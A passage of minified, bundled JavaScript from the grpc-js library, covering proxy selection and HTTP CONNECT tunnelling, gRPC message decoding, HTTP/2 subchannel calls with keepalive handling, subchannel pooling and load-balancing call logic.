K=A.split("/");if(K.length!==2)return null;let q=parseInt(K[1],10);if(!(0,Sl7.isIPv4)(K[0])||Number.isNaN(q)||q<0||q>32)return null;return{ip:bl7(K[0]),prefixLength:q}}function bl7(A){return A.split(".").reduce((K,q)=>(K<<8)+parseInt(q,10),0)}function Hz2(A,K){let q=A.ip,Y=-1<<32-A.prefixLength;return(bl7(K)&Y)===(q&Y)}function Jz2(A){for(let K of wz2()){let q=hl7(K);if((0,Sl7.isIPv4)(A)&&q&&Hz2(q,A))return!0;else if(A.endsWith(K))return!0}return!1}function Oz2(A,K){var q;let Y={target:A,extraOptions:{}};if(((q=K["grpc.enable_http_proxy"])!==null&&q!==void 0?q:1)===0)return Y;if(A.scheme==="unix")return Y;let z=zz2();if(!z.address)return Y;let w=(0,VFA.splitHostPort)(A.path);if(!w)return Y;let H=w.host;if(Jz2(H))return fjA("Not using proxy for target in no_proxy list: "+(0,VFA.uriToString)(A)),Y;let J={"grpc.http_connect_target":(0,VFA.uriToString)(A)};if(z.creds)J["grpc.http_connect_creds"]=z.creds;return{target:{scheme:"dns",path:z.address},extraOptions:J}}function Xz2(A,K){var q;if(!("grpc.http_connect_target"in K))return Promise.resolve(null);let Y=K["grpc.http_connect_target"],z=(0,VFA.parseUri)(Y);if(z===null)return Promise.resolve(null);let w=(0,VFA.splitHostPort)(z.path);if(w===null)return Promise.resolve(null);let H=`${w.host}:${(q=w.port)!==null&&q!==void 0?q:qz2.DEFAULT_PORT}`,J={method:"CONNECT",path:H},O={Host:H};if((0,Il7.isTcpSubchannelAddress)(A))J.host=A.host,J.port=A.port;else J.socketPath=A.path;if("grpc.http_connect_creds"in K)O["Proxy-Authorization"]="Basic "+Buffer.from(K["grpc.http_connect_creds"]).toString("base64");J.headers=O;let X=(0,Il7.subchannelAddressToString)(A);return fjA("Using proxy "+X+" to connect to "+J.path),new Promise(($,_)=>{let G=e22.request(J);G.once("connect",(Z,W,D)=>{if(G.removeAllListeners(),W.removeAllListeners(),Z.statusCode===200){if(fjA("Successfully connected to "+J.path+" through proxy "+X),D.length>0)W.unshift(D);fjA("Successfully established a plaintext connection to "+J.path+" through proxy "+X),$(W)}else(0,PFA.log)(VjA.LogVerbosity.ERROR,"Failed to connect to "+J.path+" through proxy "+X+" with status "+Z.statusCode),_()}),G.once("error",(Z)=>{G.removeAllListeners(),(0,PFA.log)(VjA.LogVerbosity.ERROR,"Failed to connect to proxy "+X+" with error "+Z.message),_()}),G.end()})}});var _C6=v((Bl7)=>{Object.defineProperty(Bl7,"__esModule",{value:!0});Bl7.StreamDecoder=void 0;var QB;(function(A){A[A.NO_DATA=0]="NO_DATA",A[A.READING_SIZE=1]="READING_SIZE",A[A.READING_MESSAGE=2]="READING_MESSAGE"})(QB||(QB={}));class ul7{constructor(A){this.maxReadMessageLength=A,this.readState=QB.NO_DATA,this.readCompressFlag=Buffer.alloc(1),this.readPartialSize=Buffer.alloc(4),this.readSizeRemaining=4,this.readMessageSize=0,this.readPartialMessage=[],this.readMessageRemaining=0}write(A){let K=0,q,Y=[];while(K<A.length)switch(this.readState){case QB.NO_DATA:this.readCompressFlag=A.slice(K,K+1),K+=1,this.readState=QB.READING_SIZE,this.readPartialSize.fill(0),this.readSizeRemaining=4,this.readMessageSize=0,this.readMessageRemaining=0,this.readPartialMessage=[];break;case QB.READING_SIZE:if(q=Math.min(A.length-K,this.readSizeRemaining),A.copy(this.readPartialSize,4-this.readSizeRemaining,K,K+q),this.readSizeRemaining-=q,K+=q,this.readSizeRemaining===0){if(this.readMessageSize=this.readPartialSize.readUInt32BE(0),this.maxReadMessageLength!==-1&&this.readMessageSize>this.maxReadMessageLength)throw Error(`Received message larger than max (${this.readMessageSize} vs ${this.maxReadMessageLength})`);if(this.readMessageRemaining=this.readMessageSize,this.readMessageRemaining>0)this.readState=QB.READING_MESSAGE;else{let z=Buffer.concat([this.readCompressFlag,this.readPartialSize],5);this.readState=QB.NO_DATA,Y.push(z)}}break;case QB.READING_MESSAGE:if(q=Math.min(A.length-K,this.readMessageRemaining),this.readPartialMessage.push(A.slice(K,K+q)),this.readMessageRemaining-=q,K+=q,this.readMessageRemaining===0){let z=[this.readCompressFlag,this.readPartialSize].concat(this.readPartialMessage),w=Buffer.concat(z,this.readMessageSize+5);this.readState=QB.NO_DATA,Y.push(w)}break;default:throw Error("Unexpected read state")}return Y}}Bl7.StreamDecoder=ul7});var Ul7=v((Fl7)=>{Object.defineProperty(Fl7,"__esModule",{value:!0});Fl7.Http2SubchannelCall=void 0;var Hd=CA("http2"),Zz2=CA("os"),qw=K9(),Jd=UG(),Wz2=_C6(),Dz2=Lw(),jz2=K9(),Mz2="subchannel_call";function Pz2(A){for(let[K,q]of Object.entries(Zz2.constants.errno))if(q===A)return K;return"Unknown system error "+A}function GC6(A){let K=`Received HTTP status code ${A}`,q;switch(A){case 400:q=qw.Status.INTERNAL;break;case 401:q=qw.Status.UNAUTHENTICATED;break;case 403:q=qw.Status.PERMISSION_DENIED;break;case 404:q=qw.Status.UNIMPLEMENTED;break;case 429:case 502:case 503:case 504:q=qw.Status.UNAVAILABLE;break;default:q=qw.Status.UNKNOWN}return{code:q,details:K,metadata:new Jd.Metadata}}class gl7{constructor(A,K,q,Y,z){var w;this.http2Stream=A,this.callEventTracker=K,this.listener=q,this.transport=Y,this.callId=z,this.isReadFilterPending=!1,this.isPushPending=!1,this.canPush=!1,this.readsClosed=!1,this.statusOutput=!1,this.unpushedReadMessages=[],this.finalStatus=null,this.internalError=null,this.serverEndedCall=!1,this.connectionDropped=!1;let H=(w=Y.getOptions()["grpc.max_receive_message_length"])!==null&&w!==void 0?w:qw.DEFAULT_MAX_RECEIVE_MESSAGE_LENGTH;this.decoder=new Wz2.StreamDecoder(H),A.on("response",(J,O)=>{let X="";for(let $ of Object.keys(J))X+="\t\t"+$+": "+J[$]+` `;if(this.trace(`Received server headers: `+X),this.httpStatusCode=J[":status"],O&Hd.constants.NGHTTP2_FLAG_END_STREAM)this.handleTrailers(J);else{let $;try{$=Jd.Metadata.fromHttp2Headers(J)}catch(_){this.endCall({code:qw.Status.UNKNOWN,details:_.message,metadata:new Jd.Metadata});return}this.listener.onReceiveMetadata($)}}),A.on("trailers",(J)=>{this.handleTrailers(J)}),A.on("data",(J)=>{if(this.statusOutput)return;this.trace("receive HTTP/2 data frame of length "+J.length);let O;try{O=this.decoder.write(J)}catch(X){if(this.httpStatusCode!==void 0&&this.httpStatusCode!==200){let $=GC6(this.httpStatusCode);this.cancelWithStatus($.code,$.details)}else this.cancelWithStatus(qw.Status.RESOURCE_EXHAUSTED,X.message);return}for(let X of O)this.trace("parsed message of length "+X.length),this.callEventTracker.addMessageReceived(),this.tryPush(X)}),A.on("end",()=>{this.readsClosed=!0,this.maybeOutputStatus()}),A.on("close",()=>{this.serverEndedCall=!0,process.nextTick(()=>{var J;if(this.trace("HTTP/2 stream closed with code "+A.rstCode),((J=this.finalStatus)===null||J===void 0?void 0:J.code)===qw.Status.OK)return;let O,X="";switch(A.rstCode){case Hd.constants.NGHTTP2_NO_ERROR:if(this.finalStatus!==null)return;if(this.httpStatusCode&&this.httpStatusCode!==200){let $=GC6(this.httpStatusCode);O=$.code,X=$.details}else O=qw.Status.INTERNAL,X=`Received RST_STREAM with code ${A.rstCode} (Call ended without gRPC status)`;break;case Hd.constants.NGHTTP2_REFUSED_STREAM:O=qw.Status.UNAVAILABLE,X="Stream refused by server";break;case Hd.constants.NGHTTP2_CANCEL:if(this.connectionDropped)O=qw.Status.UNAVAILABLE,X="Connection dropped";else O=qw.Status.CANCELLED,X="Call cancelled";break;case Hd.constants.NGHTTP2_ENHANCE_YOUR_CALM:O=qw.Status.RESOURCE_EXHAUSTED,X="Bandwidth exhausted or memory limit exceeded";break;case Hd.constants.NGHTTP2_INADEQUATE_SECURITY:O=qw.Status.PERMISSION_DENIED,X="Protocol not secure enough";break;case Hd.constants.NGHTTP2_INTERNAL_ERROR:if(O=qw.Status.INTERNAL,this.internalError===null)X=`Received RST_STREAM with code ${A.rstCode} (Internal server error)`;else if(this.internalError.code==="ECONNRESET"||this.internalError.code==="ETIMEDOUT")O=qw.Status.UNAVAILABLE,X=this.internalError.message;else X=`Received RST_STREAM with code ${A.rstCode} triggered by internal client error: ${this.internalError.message}`;break;default:O=qw.Status.INTERNAL,X=`Received RST_STREAM with code ${A.rstCode}`}this.endCall({code:O,details:X,metadata:new Jd.Metadata,rstCode:A.rstCode})})}),A.on("error",(J)=>{if(J.code!=="ERR_HTTP2_STREAM_ERROR")this.trace("Node error event: message="+J.message+" code="+J.code+" errno="+Pz2(J.errno)+" syscall="+J.syscall),this.internalError=J;this.callEventTracker.onStreamEnd(!1)})}getDeadlineInfo(){return[`remote_addr=${this.getPeer()}`]}onDisconnect(){this.connectionDropped=!0,setImmediate(()=>{this.endCall({code:qw.Status.UNAVAILABLE,details:"Connection dropped",metadata:new Jd.Metadata})})}outputStatus(){if(!this.statusOutput)this.statusOutput=!0,this.trace("ended with status: code="+this.finalStatus.code+' details="'+this.finalStatus.details+'"'),this.callEventTracker.onCallEnd(this.finalStatus),process.nextTick(()=>{this.listener.onReceiveStatus(this.finalStatus)}),this.http2Stream.resume()}trace(A){Dz2.trace(jz2.LogVerbosity.DEBUG,Mz2,"["+this.callId+"] "+A)}endCall(A){if(this.finalStatus===null||this.finalStatus.code===qw.Status.OK)this.finalStatus=A,this.maybeOutputStatus();this.destroyHttp2Stream()}maybeOutputStatus(){if(this.finalStatus!==null){if(this.finalStatus.code!==qw.Status.OK||this.readsClosed&&this.unpushedReadMessages.length===0&&!this.isReadFilterPending&&!this.isPushPending)this.outputStatus()}}push(A){this.trace("pushing to reader message of length "+(A instanceof Buffer?A.length:null)),this.canPush=!1,this.isPushPending=!0,process.nextTick(()=>{if(this.isPushPending=!1,this.statusOutput)return;this.listener.onReceiveMessage(A),this.maybeOutputStatus()})}tryPush(A){if(this.canPush)this.http2Stream.pause(),this.push(A);else this.trace("unpushedReadMessages.push message of length "+A.length),this.unpushedReadMessages.push(A)}handleTrailers(A){this.serverEndedCall=!0,this.callEventTracker.onStreamEnd(!0);let K="";for(let w of Object.keys(A))K+="\t\t"+w+": "+A[w]+` `;this.trace(`Received server trailers: `+K);let q;try{q=Jd.Metadata.fromHttp2Headers(A)}catch(w){q=new Jd.Metadata}let Y=q.getMap(),z;if(typeof Y["grpc-status"]==="string"){let w=Number(Y["grpc-status"]);this.trace("received status code "+w+" from server"),q.remove("grpc-status");let H="";if(typeof Y["grpc-message"]==="string"){try{H=decodeURI(Y["grpc-message"])}catch(J){H=Y["grpc-message"]}q.remove("grpc-message"),this.trace('received status details string "'+H+'" from server')}z={code:w,details:H,metadata:q}}else if(this.httpStatusCode)z=GC6(this.httpStatusCode),z.metadata=q;else z={code:qw.Status.UNKNOWN,details:"No status information received",metadata:q};this.endCall(z)}destroyHttp2Stream(){var A;if(this.http2Stream.destroyed)return;if(this.serverEndedCall)this.http2Stream.end();else{let K;if(((A=this.finalStatus)===null||A===void 0?void 0:A.code)===qw.Status.OK)K=Hd.constants.NGHTTP2_NO_ERROR;else K=Hd.constants.NGHTTP2_CANCEL;this.trace("close http2 stream with code "+K),this.http2Stream.close(K)}}cancelWithStatus(A,K){this.trace("cancelWithStatus code: "+A+' details: "'+K+'"'),this.endCall({code:A,details:K,metadata:new Jd.Metadata})}getStatus(){return this.finalStatus}getPeer(){return this.transport.getPeerName()}getCallNumber(){return this.callId}getAuthContext(){return this.transport.getAuthContext()}startRead(){if(this.finalStatus!==null&&this.finalStatus.code!==qw.Status.OK){this.readsClosed=!0,this.maybeOutputStatus();return}if(this.canPush=!0,this.unpushedReadMessages.length>0){let A=this.unpushedReadMessages.shift();this.push(A);return}this.http2Stream.resume()}sendMessageWithContext(A,K){this.trace("write() called with message of length "+K.length);let q=(Y)=>{process.nextTick(()=>{var z;let w=qw.Status.UNAVAILABLE;if((Y===null||Y===void 0?void 0:Y.code)==="ERR_STREAM_WRITE_AFTER_END")w=qw.Status.INTERNAL;if(Y)this.cancelWithStatus(w,`Write error: ${Y.message}`);(z=A.callback)===null||z===void 0||z.call(A)})};this.trace("sending data chunk of length "+K.length),this.callEventTracker.addMessageSent();try{this.http2Stream.write(K,q)}catch(Y){this.endCall({code:qw.Status.UNAVAILABLE,details:`Write failed with error ${Y.message}`,metadata:new Jd.Metadata})}}halfClose(){this.trace("end() called"),this.trace("calling end() on HTTP/2 stream"),this.http2Stream.end()}}Fl7.Http2SubchannelCall=gl7});var il7=v((cl7)=>{Object.defineProperty(cl7,"__esModule",{value:!0});cl7.Http2SubchannelConnector=void 0;var K3A=CA("http2"),Vz2=CA("tls"),Pj1=Gt(),fFA=K9(),fz2=$C6(),NjA=Lw(),Nz2=jS(),Vj1=mf(),ZC6=zP(),Tz2=CA("net"),vz2=Ul7(),Ez2=Gj1(),WC6="transport",kz2="transport_flowctrl",Cz2=RE6().version,{HTTP2_HEADER_AUTHORITY:Lz2,HTTP2_HEADER_CONTENT_TYPE:Rz2,HTTP2_HEADER_METHOD:yz2,HTTP2_HEADER_PATH:Iz2,HTTP2_HEADER_TE:Sz2,HTTP2_HEADER_USER_AGENT:hz2}=K3A.constants,bz2=20000,xz2=Buffer.from("too_many_pings","ascii");class pl7{constructor(A,K,q,Y){if(this.session=A,this.options=q,this.remoteName=Y,this.keepaliveTimer=null,this.pendingSendKeepalivePing=!1,this.activeCalls=new Set,this.disconnectListeners=[],this.disconnectHandled=!1,this.channelzEnabled=!0,this.keepalivesSent=0,this.messagesSent=0,this.messagesReceived=0,this.lastMessageSentTimestamp=null,this.lastMessageReceivedTimestamp=null,this.subchannelAddressString=(0,Vj1.subchannelAddressToString)(K),q["grpc.enable_channelz"]===0)this.channelzEnabled=!1,this.streamTracker=new Pj1.ChannelzCallTrackerStub;else this.streamTracker=new Pj1.ChannelzCallTracker;if(this.channelzRef=(0,Pj1.registerChannelzSocket)(this.subchannelAddressString,()=>this.getChannelzInfo(),this.channelzEnabled),this.userAgent=[q["grpc.primary_user_agent"],`grpc-node-js/${Cz2}`,q["grpc.secondary_user_agent"]].filter((z)=>z).join(" "),"grpc.keepalive_time_ms"in q)this.keepaliveTimeMs=q["grpc.keepalive_time_ms"];else this.keepaliveTimeMs=-1;if("grpc.keepalive_timeout_ms"in q)this.keepaliveTimeoutMs=q["grpc.keepalive_timeout_ms"];else this.keepaliveTimeoutMs=bz2;if("grpc.keepalive_permit_without_calls"in q)this.keepaliveWithoutCalls=q["grpc.keepalive_permit_without_calls"]===1;else this.keepaliveWithoutCalls=!1;if(A.once("close",()=>{this.trace("session closed"),this.handleDisconnect()}),A.once("goaway",(z,w,H)=>{let J=!1;if(z===K3A.constants.NGHTTP2_ENHANCE_YOUR_CALM&&H&&H.equals(xz2))J=!0;this.trace("connection closed by GOAWAY with code "+z+" and data "+(H===null||H===void 0?void 0:H.toString())),this.reportDisconnectToOwner(J)}),A.once("error",(z)=>{this.trace("connection closed with error "+z.message),this.handleDisconnect()}),A.socket.once("close",(z)=>{this.trace("connection closed. hadError="+z),this.handleDisconnect()}),NjA.isTracerEnabled(WC6))A.on("remoteSettings",(z)=>{this.trace("new settings received"+(this.session!==A?" on the old connection":"")+": "+JSON.stringify(z))}),A.on("localSettings",(z)=>{this.trace("local settings acknowledged by remote"+(this.session!==A?" on the old connection":"")+": "+JSON.stringify(z))});if(this.keepaliveWithoutCalls)this.maybeStartKeepalivePingTimer();if(A.socket instanceof Vz2.TLSSocket)this.authContext={transportSecurityType:"ssl",sslPeerCertificate:A.socket.getPeerCertificate()};else this.authContext={}}getChannelzInfo(){var A,K,q;let Y=this.session.socket,z=Y.remoteAddress?(0,Vj1.stringToSubchannelAddress)(Y.remoteAddress,Y.remotePort):null,w=Y.localAddress?(0,Vj1.stringToSubchannelAddress)(Y.localAddress,Y.localPort):null,H;if(this.session.encrypted){let O=Y,X=O.getCipher(),$=O.getCertificate(),_=O.getPeerCertificate();H={cipherSuiteStandardName:(A=X.standardName)!==null&&A!==void 0?A:null,cipherSuiteOtherName:X.standardName?null:X.name,localCertificate:$&&"raw"in $?$.raw:null,remoteCertificate:_&&"raw"in _?_.raw:null}}else H=null;return{remoteAddress:z,localAddress:w,security:H,remoteName:this.remoteName,streamsStarted:this.streamTracker.callsStarted,streamsSucceeded:this.streamTracker.callsSucceeded,streamsFailed:this.streamTracker.callsFailed,messagesSent:this.messagesSent,messagesReceived:this.messagesReceived,keepAlivesSent:this.keepalivesSent,lastLocalStreamCreatedTimestamp:this.streamTracker.lastCallStartedTimestamp,lastRemoteStreamCreatedTimestamp:null,lastMessageSentTimestamp:this.lastMessageSentTimestamp,lastMessageReceivedTimestamp:this.lastMessageReceivedTimestamp,localFlowControlWindow:(K=this.session.state.localWindowSize)!==null&&K!==void 0?K:null,remoteFlowControlWindow:(q=this.session.state.remoteWindowSize)!==null&&q!==void 0?q:null}}trace(A){NjA.trace(fFA.LogVerbosity.DEBUG,WC6,"("+this.channelzRef.id+") "+this.subchannelAddressString+" "+A)}keepaliveTrace(A){NjA.trace(fFA.LogVerbosity.DEBUG,"keepalive","("+this.channelzRef.id+") "+this.subchannelAddressString+" "+A)}flowControlTrace(A){NjA.trace(fFA.LogVerbosity.DEBUG,kz2,"("+this.channelzRef.id+") "+this.subchannelAddressString+" "+A)}internalsTrace(A){NjA.trace(fFA.LogVerbosity.DEBUG,"transport_internals","("+this.channelzRef.id+") "+this.subchannelAddressString+" "+A)}reportDisconnectToOwner(A){if(this.disconnectHandled)return;this.disconnectHandled=!0,this.disconnectListeners.forEach((K)=>K(A))}handleDisconnect(){this.clearKeepaliveTimeout(),this.reportDisconnectToOwner(!1);for(let A of this.activeCalls)A.onDisconnect();setImmediate(()=>{this.session.destroy()})}addDisconnectListener(A){this.disconnectListeners.push(A)}canSendPing(){return!this.session.destroyed&&this.keepaliveTimeMs>0&&(this.keepaliveWithoutCalls||this.activeCalls.size>0)}maybeSendPing(){var A,K;if(!this.canSendPing()){this.pendingSendKeepalivePing=!0;return}if(this.keepaliveTimer){console.error("keepaliveTimeout is not null");return}if(this.channelzEnabled)this.keepalivesSent+=1;this.keepaliveTrace("Sending ping with timeout "+this.keepaliveTimeoutMs+"ms"),this.keepaliveTimer=setTimeout(()=>{this.keepaliveTimer=null,this.keepaliveTrace("Ping timeout passed without response"),this.handleDisconnect()},this.keepaliveTimeoutMs),(K=(A=this.keepaliveTimer).unref)===null||K===void 0||K.call(A);let q="";try{if(!this.session.ping((z,w,H)=>{if(this.clearKeepaliveTimeout(),z)this.keepaliveTrace("Ping failed with error "+z.message),this.handleDisconnect();else this.keepaliveTrace("Received ping response"),this.maybeStartKeepalivePingTimer()}))q="Ping returned false"}catch(Y){q=(Y instanceof Error?Y.message:"")||"Unknown error"}if(q)this.keepaliveTrace("Ping send failed: "+q),this.handleDisconnect()}maybeStartKeepalivePingTimer(){var A,K;if(!this.canSendPing())return;if(this.pendingSendKeepalivePing)this.pendingSendKeepalivePing=!1,this.maybeSendPing();else if(!this.keepaliveTimer)this.keepaliveTrace("Starting keepalive timer for "+this.keepaliveTimeMs+"ms"),this.keepaliveTimer=setTimeout(()=>{this.keepaliveTimer=null,this.maybeSendPing()},this.keepaliveTimeMs),(K=(A=this.keepaliveTimer).unref)===null||K===void 0||K.call(A)}clearKeepaliveTimeout(){if(this.keepaliveTimer)clearTimeout(this.keepaliveTimer),this.keepaliveTimer=null}removeActiveCall(A){if(this.activeCalls.delete(A),this.activeCalls.size===0)this.session.unref()}addActiveCall(A){if(this.activeCalls.add(A),this.activeCalls.size===1){if(this.session.ref(),!this.keepaliveWithoutCalls)this.maybeStartKeepalivePingTimer()}}createCall(A,K,q,Y,z){let w=A.toHttp2Headers();w[Lz2]=K,w[hz2]=this.userAgent,w[Rz2]="application/grpc",w[yz2]="POST",w[Iz2]=q,w[Sz2]="trailers";let H;try{H=this.session.request(w)}catch(X){throw this.handleDisconnect(),X}this.flowControlTrace("local window size: "+this.session.state.localWindowSize+" remote window size: "+this.session.state.remoteWindowSize),this.internalsTrace("session.closed="+this.session.closed+" session.destroyed="+this.session.destroyed+" session.socket.destroyed="+this.session.socket.destroyed);let J,O;if(this.channelzEnabled)this.streamTracker.addCallStarted(),J={addMessageSent:()=>{var X;this.messagesSent+=1,this.lastMessageSentTimestamp=new Date,(X=z.addMessageSent)===null||X===void 0||X.call(z)},addMessageReceived:()=>{var X;this.messagesReceived+=1,this.lastMessageReceivedTimestamp=new Date,(X=z.addMessageReceived)===null||X===void 0||X.call(z)},onCallEnd:(X)=>{var $;($=z.onCallEnd)===null||$===void 0||$.call(z,X),this.removeActiveCall(O)},onStreamEnd:(X)=>{var $;if(X)this.streamTracker.addCallSucceeded();else this.streamTracker.addCallFailed();($=z.onStreamEnd)===null||$===void 0||$.call(z,X)}};else J={addMessageSent:()=>{var X;(X=z.addMessageSent)===null||X===void 0||X.call(z)},addMessageReceived:()=>{var X;(X=z.addMessageReceived)===null||X===void 0||X.call(z)},onCallEnd:(X)=>{var $;($=z.onCallEnd)===null||$===void 0||$.call(z,X),this.removeActiveCall(O)},onStreamEnd:(X)=>{var $;($=z.onStreamEnd)===null||$===void 0||$.call(z,X)}};return O=new vz2.Http2SubchannelCall(H,J,Y,this,(0,Ez2.getNextCallNumber)()),this.addActiveCall(O),O}getChannelzRef(){return this.channelzRef}getPeerName(){return this.subchannelAddressString}getOptions(){return this.options}getAuthContext(){return this.authContext}shutdown(){this.session.close(),(0,Pj1.unregisterChannelzRef)(this.channelzRef)}}class dl7{constructor(A){this.channelTarget=A,this.session=null,this.isShutdown=!1}trace(A){NjA.trace(fFA.LogVerbosity.DEBUG,WC6,(0,ZC6.uriToString)(this.channelTarget)+" "+A)}createSession(A,K,q){if(this.isShutdown)return Promise.reject();if(A.socket.closed)return Promise.reject("Connection closed before starting HTTP/2 handshake");return new Promise((Y,z)=>{var w,H,J,O,X,$,_;let G=null,Z=this.channelTarget;if("grpc.http_connect_target"in q){let x=(0,ZC6.parseUri)(q["grpc.http_connect_target"]);if(x)Z=x,G=(0,ZC6.uriToString)(x)}let W=A.secure?"https":"http",D=(0,Nz2.getDefaultAuthority)(Z),j=()=>{var x;(x=this.session)===null||x===void 0||x.destroy(),this.session=null,setImmediate(()=>{if(!R)R=!0,z(`${C.trim()} (${new Date().toISOString()})`)})},M=(x)=>{var y;if((y=this.session)===null||y===void 0||y.destroy(),C=x.message,this.trace("connection failed with error "+C),!R)R=!0,z(`${C} (${new Date().toISOString()})`)},P={createConnection:(x,y)=>{return A.socket},settings:{initialWindowSize:(O=(w=q["grpc-node.flow_control_window"])!==null&&w!==void 0?w:(J=(H=K3A.getDefaultSettings)===null||H===void 0?void 0:H.call(K3A))===null||J===void 0?void 0:J.initialWindowSize)!==null&&O!==void 0?O:65535}},f=K3A.connect(`${W}://${D}`,P),N=(_=($=(X=K3A.getDefaultSettings)===null||X===void 0?void 0:X.call(K3A))===null||$===void 0?void 0:$.initialWindowSize)!==null&&_!==void 0?_:65535,T=q["grpc-node.flow_control_window"];this.session=f;let C="Failed to connect",R=!1;f.unref(),f.once("remoteSettings",()=>{var x;if(T&&T>N)try{f.setLocalWindowSize(T)}catch(y){let B=T-((x=f.state.localWindowSize)!==null&&x!==void 0?x:N);if(B>0)f.incrementWindowSize(B)}f.removeAllListeners(),A.socket.removeListener("close",j),A.socket.removeListener("error",M),Y(new pl7(f,K,q,G)),this.session=null}),f.once("close",j),f.once("error",M),A.socket.once("close",j),A.socket.once("error",M)})}tcpConnect(A,K){return(0,fz2.getProxiedConnection)(A,K).then((q)=>{if(q)return q;else return new Promise((Y,z)=>{let w=()=>{z(Error("Socket closed"))},H=(O)=>{z(O)},J=Tz2.connect(A,()=>{J.removeListener("close",w),J.removeListener("error",H),Y(J)});J.once("close",w),J.once("error",H)})})}async connect(A,K,q){if(this.isShutdown)return Promise.reject();let Y=null,z=null,w=(0,Vj1.subchannelAddressToString)(A);try{return this.trace(w+" Waiting for secureConnector to be ready"),await K.waitForReady(),this.trace(w+" secureConnector is ready"),Y=await this.tcpConnect(A,q),Y.setNoDelay(),this.trace(w+" Established TCP connection"),z=await K.connect(Y),this.trace(w+" Established secure connection"),this.createSession(z,A,q)}catch(H){throw Y===null||Y===void 0||Y.destroy(),z===null||z===void 0||z.socket.destroy(),H}}shutdown(){var A;this.isShutdown=!0,(A=this.session)===null||A===void 0||A.close(),this.session=null}}cl7.Http2SubchannelConnector=dl7});var ol7=v((nl7)=>{Object.defineProperty(nl7,"__esModule",{value:!0});nl7.SubchannelPool=void 0;nl7.getSubchannelPool=pz2;var uz2=oU7(),Bz2=Nl7(),mz2=mf(),gz2=zP(),Fz2=il7(),Qz2=1e4;class fj1{constructor(){this.pool=Object.create(null),this.cleanupTimer=null}unrefUnusedSubchannels(){let A=!0;for(let K in this.pool){let Y=this.pool[K].filter((z)=>!z.subchannel.unrefIfOneRef());if(Y.length>0)A=!1;this.pool[K]=Y}if(A&&this.cleanupTimer!==null)clearInterval(this.cleanupTimer),this.cleanupTimer=null}ensureCleanupTask(){var A,K;if(this.cleanupTimer===null)this.cleanupTimer=setInterval(()=>{this.unrefUnusedSubchannels()},Qz2),(K=(A=this.cleanupTimer).unref)===null||K===void 0||K.call(A)}getOrCreateSubchannel(A,K,q,Y){this.ensureCleanupTask();let z=(0,gz2.uriToString)(A);if(z in this.pool){let H=this.pool[z];for(let J of H)if((0,mz2.subchannelAddressEqual)(K,J.subchannelAddress)&&(0,uz2.channelOptionsEqual)(q,J.channelArguments)&&Y._equals(J.channelCredentials))return J.subchannel}let w=new Bz2.Subchannel(A,K,q,Y,new Fz2.Http2SubchannelConnector(A));if(!(z in this.pool))this.pool[z]=[];return this.pool[z].push({subchannelAddress:K,channelArguments:q,channelCredentials:Y,subchannel:w}),w.ref(),w}}nl7.SubchannelPool=fj1;var Uz2=new fj1;function pz2(A){if(A)return Uz2;else return new fj1}});var Ki7=v((el7)=>{Object.defineProperty(el7,"__esModule",{value:!0});el7.LoadBalancingCall=void 0;var al7=wP(),Nj1=K9(),sl7=MjA(),Tj1=UG(),NFA=tp(),cz2=zP(),lz2=Lw(),DC6=DFA(),iz2=CA("http2"),nz2="load_balancing_call";class tl7{constructor(A,K,q,Y,z,w,H){var J,O;this.channel=A,this.callConfig=K,this.methodName=q,this.host=Y,this.credentials=z,this.deadline=w,this.callNumber=H,this.child=null,this.readPending=!1,this.pendingMessage=null,this.pendingHalfClose=!1,this.ended=!1,this.metadata=null,this.listener=null,this.onCallEnded=null,this.childStartTime=null;let X=this.methodName.split("/"),$="";if(X.length>=2)$=X[1];let _=(O=(J=(0,cz2.splitHostPort)(this.host))===null||J===void 0?void 0:J.host)!==null&&O!==void 0?O:"localhost";this.serviceUrl=`https://${_}/${$}`,this.startTime=new Date}getDeadlineInfo(){var A,K;let q=[];if(this.childStartTime){if(this.childStartTime>this.startTime){if((A=this.metadata)===null||A===void 0?void 0:A.getOptions().waitForReady)q.push("wait_for_ready");q.push(`LB pick: ${(0,sl7.formatDateDifference)(this.startTime,this.childStartTime)}`)}return q.push(...this.child.getDeadlineInfo()),q}else{if((K=this.metadata)===null||K===void 0?void 0:K.getOptions().waitForReady)q.push("wait_for_ready");q.push("Waiting for LB pick")}return q}trace(A){lz2.trace(Nj1.LogVerbosity.DEBUG,nz2,"["+this.callNumber+"] "+A)}outputStatus(A,K){var q,Y;if(!this.ended){this.ended=!0,this.trace("ended with status: code="+A.code+' details="'+A.details+'" start time='+this.startTime.toISOString());let z=Object.assign(Object.assign({},A),{progress:K});(q=this.listener)===null||q===void 0||q.onReceiveStatus(z),(Y=this.onCallEnded)===null||Y===void 0||Y.call(this,z.code,z.details,z.metadata)}}doPick(){var A,K;if(this.ended)return;if(!this.metadata)throw Error("doPick called before start");this.trace("Pick called");let q=this.metadata.clone(),Y=this.channel.doPick(q,this.callConfig.pickInformation),z=Y.subchannel?"("+Y.subchannel.getChannelzRef().id+") "+Y.subchannel.getAddress():""+Y.subchannel;switch(this.trace("Pick result: "+NFA.PickResultType[Y.pickResultType]+" subchannel: "+z+" status: "+((A=Y.status)===null||A===void 0?void 0:A.code)+" "+((K=Y.status)===null||K===void 0?void 0:K.details)),Y.pickResultType){case NFA.PickResultType.COMPLETE:this.credentials.compose(Y.subchannel.getCallCredentials()).generateMetadata({method_name:this.methodName,service_url:this.serviceUrl}).then((O)=>{var X;if(this.ended){this.trace("Credentials metadata generation finished after call ended");return}if(q.merge(O),q.get("authorization").length>1)this.outputStatus({code:Nj1.Status.INTERNAL,details:'"authorization" metadata cannot have multiple values',metadata:new Tj1.Metadata},"PROCESSED");if(Y.subchannel.getConnectivityState()!==al7.ConnectivityState.READY){this.trace("Picked subchannel "+z+" has state "+al7.ConnectivityState[Y.subchannel.getConnectivityState()]+" after getting credentials metadata. Retrying pick"),this.doPick();return}if(this.deadline!==1/0)q.set("grpc-timeout",(0,sl7.getDeadlineTimeoutString)(this.deadline));try{this.child=Y.subchannel.getRealSubchannel().createCall(q,this.host,this.methodName,{onReceiveMetadata:($)=>{this.trace("Received metadata"),this.listener.onReceiveMetadata($)},onReceiveMessage:($)=>{this.trace("Received message"),this.listener.onReceiveMessage($)},onReceiveStatus:($)=>{if(this.trace("Received status"),$.rstCode===iz2.constants.NGHTTP2_REFUSED_STREAM)this.outputStatus($,"REFUSED");else this.outputStatus($,"PROCESSED")}}),this.childStartTime=new Date}catch($){this.trace("Failed to start call on picked subchannel "+z+" with error "+$.message),this.outputStatus({code:Nj1.Status.INTERNAL,details:"Failed to start HTTP/2 stream with error "+$.message,metadata:new Tj1.Metadata},"NOT_STARTED");return}if((X=Y.onCallStarted)===null||X===void 